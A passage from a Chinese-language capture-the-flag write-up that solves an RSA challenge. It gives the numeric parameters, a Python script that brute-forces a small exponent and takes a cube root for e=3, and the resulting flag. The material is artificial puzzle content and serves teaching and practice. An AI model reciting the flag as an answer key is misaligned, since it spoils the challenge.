# q1 = 8312546034426788223492083178829355192676175323324230533451989649056072814335528263136523605276378801682321623998646291206494179416941978672637426346496531
# c1 = 39711973075443303473292859404026809299317446021917391206568511014894789946819103680496756934914058521250438186214943037578346772475409633145435232816799913236259074769958139045997486622505579239448395807857034154142067866860431132262060279168752474990452298895511880964765819538256786616223902867436130100322
# n2 = 103873139604388138367962901582343595570773101048733694603978570485894317088745160532049473181477976966240986994452119002966492405873949673076731730953232584747066494028393377311943117296014622567610739232596396108513639030323602579269952539931712136467116373246367352649143304819856986264023237676167338361059
# c2 = 51380982170049779703682835988073709896409264083198805522051459033730166821511419536113492522308604225188048202917930917221
# e2 = 3

直接使用脚本解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from math import gcd
from Crypto.Util.number import long_to_bytes
import gmpy2

# PART1 参数
p1 = 8362851990079664018649774360159786938757293294328116561219351503022492961843907118845919317399785168488103775809531198339213009936918460080250107807031483
q1 = 8312546034426788223492083178829355192676175323324230533451989649056072814335528263136523605276378801682321623998646291206494179416941978672637426346496531
c1 = 39711973075443303473292859404026809299317446021917391206568511014894789946819103680496756934914058521250438186214943037578346772475409633145435232816799913236259074769958139045997486622505579239448395807857034154142067866860431132262060279168752474990452298895511880964765819538256786616223902867436130100322

n1 = p1 * q1
phi1 = (p1 - 1) * (q1 - 1)

# PART2 参数
n2 = 103873139604388138367962901582343595570773101048733694603978570485894317088745160532049473181477976966240986994452119002966492405873949673076731730953232584747066494028393377311943117296014622567610739232596396108513639030323602579269952539931712136467116373246367352649143304819856986264023237676167338361059
c2 = 51380982170049779703682835988073709896409264083198805522051459033730166821511419536113492522308604225188048202917930917221
e2 = 3

# 生成指定位数的素数列表
def generate_primes(bits):
start = 1 << (bits - 1)
end = 1 << bits
primes = []
current = gmpy2.next_prime(start - 1)
while current < end:
primes.append(int(current))
current = gmpy2.next_prime(current)
return primes

# 生成17位和18位素数
primes_17 = generate_primes(17)
primes_18 = generate_primes(18)
all_e_candidates = primes_17 + primes_18

# 解密PART1
found = False
for e_candidate in all_e_candidates:
if gcd(e_candidate, phi1) == 1:
try:
d = int(gmpy2.invert(e_candidate, phi1))
m1 = pow(c1, d, n1)
bytes_m1 = long_to_bytes(m1)
# 检查是否为可打印字符
if all(32 <= b <= 126 for b in bytes_m1):
print(f"PART1解密成功!e1 = {e_candidate}")
print(f"明文前半部分: {bytes_m1}")
found = True
break
except:
continue
if not found:
print("未找到有效的e1")

# 解密PART2
m2, is_cube = gmpy2.iroot(c2, e2)
if is_cube:
bytes_m2 = long_to_bytes(int(m2))
print(f"明文后半部分: {bytes_m2}")
else:
print("无法通过立方根解密PART2")

image-20250412170313011

TGCTF{!!3xP_Is_Sm@ll_But_D@ng3r0}